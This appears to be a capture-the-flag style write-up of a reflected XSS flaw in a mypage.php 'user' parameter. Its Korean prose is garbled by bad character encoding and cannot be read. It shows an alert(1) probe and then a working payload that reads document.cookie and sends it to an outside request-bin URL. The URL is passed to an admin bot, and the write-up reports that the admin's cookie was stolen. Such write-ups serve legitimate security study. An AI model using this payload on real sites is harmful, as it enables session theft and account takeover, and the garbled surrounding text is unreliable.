์ทจ์ฝ์ ์ค๋ช
: Reflected XSS
์ทจ์ฝ์ ๋ฐ์ ์์น : mypage.php
ํ์๊ฐ์
& ๋ก๊ทธ์ธํ ๋ง์ดํ์ด์ง.
ํ๋ผ๋ฏธํฐ๋ก user ๊ฐ์ด ์ค๊ณ ์์ผ๋ ์กฐ์ํด๋ณด์.
์
๋ ฅ๊ฐ์ผ๋ก ๋ฐ๋๋ค.
ํน์๋ฌธ์ ์ฝ์
๊ฐ๋ฅ ์ฌ๋ถ๋ฅผ ํ์ธํ๊ธฐ ์ํด test<'">์ ๋ฃ์ด๋ณธ๋ค.
๊บฝ์ ์ฝ์
์ด ๊ฐ๋ฅํ๋ค.
์คํฌ๋ฆฝํธ ์๋์ฌ๋ถ๋ฅผ ํ์ธํ๊ธฐ ์ํด alert(1)๋จผ์ ์ถ๋ ฅํด๋ณด์.
๊บฝ์ ์ฝ์
์ด ๊ฐ๋ฅํ๋ฏ๋ก input ํ๊ทธ๋ฅผ ๋ง๊ณ script๋ฅผ ๋ฃ์.
URL์์ user๋ค์
xcvb"/><script>alert(1)</script>
๋ฅผ ์
๋ ฅํ๋ค.
alert์ฐฝ ์ถ๋ ฅ!
์ฟ ํคํ์ทจ ์ฝ๋๋ฅผ ๋ฃ์ด๋ณด์
๊ณต๊ฒฉ์ ์๋ฒ๋ https://en2hyoic3j7mi.x.pipedream.net/ ์ด๋ค.
URL์์ user๋ค์
xcvb"/><script>var cookieData =document.cookie;var i =new Image(); i.src = `https://en2hyoic3j7mi.x.pipedream.net/?cookie=${cookieData}`;</script>
๋ฅผ ์ ๋ ฅ.
์ฟ ํค๊ฐ์ด ๋์ด์ค๊ณ ์๋ค.
ํด๋น URL์ ๊ด๋ฆฌ์ ๋ด์ ์
๋ ฅํ์.
์ฟ ํค ํ์ทจ ์ฑ๊ณต!